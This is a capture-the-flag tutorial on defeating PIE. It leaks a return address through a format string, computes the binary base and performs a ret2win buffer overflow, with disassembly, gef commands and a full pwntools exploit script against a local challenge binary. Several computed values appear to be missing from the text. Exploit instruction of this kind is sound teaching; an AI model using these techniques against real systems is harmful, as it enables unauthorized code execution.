Let's take the challenge one step further. This time, rather than providing a hint for you to use, you need to leak something for yourself. There are near-limitless options for what you can leak. The important task is understanding what you're leaking to properly compute the base address.
We will leak this address the same way we leak other data (i.e., a canary): format strings.
We need to find our buffer overflow before we worry about security protections. Without a buffer overflow, we can't get very far.
We find the vulnerable input call to be the second, which looks like this:
0x0000000000001294 <+208>: lea rax,[rbp-0x30] 0x0000000000001298 <+212>: mov edx,0x140 0x000000000000129d <+217>: mov rsi,rax 0x00000000000012a0 <+220>: mov edi,0x0 0x00000000000012a5 <+225>: call 0x1080 <read@plt>
This input indicates we are allowed 0x140
bytes into a 0x20
byte space.
rbp-0xa
.0x0000000000001226 <+98>: lea rax,[rbp-0xa] 0x000000000000122a <+102>: mov edx,0xa 0x000000000000122f <+107>: mov rsi,rax 0x0000000000001232 <+110>: mov edi,0x0 0x0000000000001237 <+115>: call 0x1080 <read@plt>
The compiler will always ensure our stack is aligned, so because this instruction reads into the rbp-0x10
block (since that block runs from rbp-0x10
to rbp-0x8
), it will reserve that space.
Therefore, the second read is given the space from rbp-0x30
to rbp-0x10
, which is 0x20
bytes. This does not change the number of bytes needed to overflow.
This yields a buffer overflow. Since the return pointer is 0x38
bytes away, we're allowed enough bytes to reach it. Therefore, we can control the instruction! We'll note our padding of 0x38
bytes and move on.
We now need to find an address off the stack and leak it. We notice that the first buffer is subject to a format string from these lines:
0x0000000000001226 <+98>: lea rax,[rbp-0xa] 0x000000000000122a <+102>: mov edx,0xa 0x000000000000122f <+107>: mov rsi,rax 0x0000000000001232 <+110>: mov edi,0x0 0x0000000000001237 <+115>: call 0x1080 <read@plt> ... 0x0000000000001265 <+161>: lea rax,[rbp-0xa] 0x0000000000001269 <+165>: mov rdi,rax 0x000000000000126c <+168>: mov eax,0x0 0x0000000000001271 <+173>: call 0x1070 <printf@plt>
We see our buffer (rbp-0xa
) is passed as the first parameter to printf
, which is a format string. Therefore, our exploit will first use a format string to leak some address, use that to find the base address, then perform a ret2win using the computed address of win
.
We now must find an address on the stack. The most common address we'll use is the return address. This is because it's easy to spot; we can easily compute its location and easily compute its offset from the base address.
From Leaking a Canary, we know that the stack starts at parameter 6
. From here, we know that rsp = rbp - 0x30
. We know that the return pointer is at rbp + 0x8
, meaning the distance from rsp
to the return pointer is . Computing the number of 8
-byte stack frames, we get . Therefore, our format string offset will be .
Let's try this format string to see if we get something that looks like an instruction:
tmux
session, you can run:$ gdb chall gef➤ tmux-setup gef➤ b *(login+225) # the second read() instruction gef➤ r gef➤ vmmap # prints memory maps of running program
From this window, we can see that the leaked value is inside the executable section of the binary—the text segment! This confirms that we received an instruction.
Now… which instruction did we get? In this same window, we can preview that instruction:
gef➤ x/i 0x555555555306 0x555555555306 <main+74>: mov eax,0x0
This shows the instruction is at main+74
.
vmmap
to show the base address and then do some simple subtraction. vmmap
shows the base address as 0x555555554000
, meaning this instruction's offset is .There is more than one way to write this exploit. Below, I will explain the "pwntools" solution using the ELF
class. However, doing it manually is also an effective method.
Let's start writing an exploit. In this case, we'll take advantage of the ELF
class that lets us store the base address. For a PIE binary, the base address is assumed to be 0
, which yields offsets for each location from the base address. However, once we store the base address, it automatically adjusts each reference value with its absolute address.
It's okay if this doesn't make 100% sense yet. Let's start writing our exploit to see what happens. First, we import Pwntools.
from pwn import *
Then, we need to instantiate the ELF
class. We'll also store context.binary
as good practice. We'll also establish the process.
elf = context.binary = ELF('./chall') p = process() # process name ('./chall') is implied from context.binary
Then, we need to send the format string and receive the value. The format of the value is HELLO THERE, <leak>.
.
p.sendline(b'%13$p') p.recvuntil(b'HELLO THERE, ') leak = p.recvline().strip() leak = int(leak, 16) # convert to integer
Now, we must compute the base address. We can get the address of main
using elf.sym
, which returns a dictionary of symbols and their addresses. Remember that the address leaked is main+74
.
elf.address = leak - (elf.sym.main + 74)
Now, the elf.sym
table is updated with the absolute addresses. Now, we can perform our buffer overflow with our computed address of win
:
payload = b'A' * 0x38 payload += p64(elf.sym.win)
Then, we send off the payload!
p.sendline(payload) p.interactive()
Running this, we get a successful leak and a flag printed!